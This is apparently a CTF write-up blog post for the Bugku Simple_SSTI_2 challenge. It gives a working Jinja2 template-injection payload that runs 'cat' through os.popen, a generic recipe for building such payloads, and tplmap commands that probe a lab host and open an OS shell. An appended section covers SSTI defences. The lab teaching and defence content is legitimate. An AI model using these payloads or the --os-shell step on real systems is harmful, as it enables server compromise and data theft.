bugku解题篇—Simple_SSTI_2

文章讲述了如何通过TPLMap漏洞利用工具,进行payload构造,包括寻找目标函数、利用未加载的子类加载模块、间接导入等方式,最终实现shell命令执行的过程。
部署运行你感兴趣的模型镜像

{{%20config.class.init.globals[%27os%27].popen(%27cat%20…/app/flag%27).read()%20}}
config为对象;
class:返回对象所属类;
init:类的初始方法,用以初始化实例;
globals(也可用func_globals):以字典返回内建模块;
OS就是返回字典里面的的一个模块
popen()返回一个输出流,通过read()读取里面的数据
payload的构造过程:
(1)明确要利用的目标函数;
(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。
(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。
(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)
(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)
(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。

git clone https://github.com/epinna/tplmap
cd tplmap
sudo yum install python-pip -y||sudo apt install python-pip #安装py2的pip
pip install -r requirements.txt
操作:
#探测注入点
./tplmap.py -u ‘http://114.67.175.244:10463/?flag’
#获取shell
./tplmap.py -u ‘http://114.67.175.244:10463/?flag’ --os-shell

您可能感兴趣的与本文相关的镜像

Python3.11

Python3.11

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

### 关于 bugku Simple_SSTI_1 漏洞详情 在探讨 `Simple_SSTI_1` 的漏洞详情时,需了解 SSTI(服务器端模板注入)是一种攻击方式,在某些编程框架中如果未能正确处理用户输入,则可能导致恶意代码执行。对于 Python 中的 SSTI 攻击而言,当应用程序使用像 Jinja2 或 Django 这样的模板引擎来渲染页面,并且允许未经验证的数据进入模板上下文中时就可能发生此类安全风险[^2]。 具体到 `Simple_SSTI_1` ,该案例通常涉及 Web 应用程序通过 URL 参数接收数据并将其直接用于构建响应内容的情况。如果开发者未对这些参数做充分过滤或者转义处理,那么攻击者就可以利用这一点构造特殊字符串触发远程命令执行等问题。 #### 解决方案与防护措施 为了防止 SSTI 类型的安全隐患发生: - **严格校验输入**:确保所有来自客户端的信息都经过严格的正则表达式匹配或其他形式的有效性检验。 - **禁用危险函数调用**:配置所使用的模板引擎使其无法访问操作系统级别的功能或是限制其能够操作的对象范围。 - **采用沙盒模式**:一些现代模板库提供了内置的安全机制,比如启用 sandboxed mode 可以有效阻止潜在危害行为的发生。 - **最小权限原则**:即使存在漏洞也应尽量减少可能造成的损失,例如运行服务进程时不赋予过高权限等做法均有助于降低风险程度。 ```python from jinja2 import Environment, select_autoescape, FileSystemLoader env = Environment( loader=FileSystemLoader('templates'), autoescape=select_autoescape(['html', 'xml']) ) template = env.get_template('mytemplate.html') rendered_output = template.render(safe_data_only="This is safe content.") ``` 上述代码展示了如何设置 Jinja2 来自动转义 HTML/XML 文件中的变量输出,从而避免 XSS 和 SSTI 风险;同时也强调了只传递必要的、已知安全的数据给模板的重要性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不爱学习的安全小白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值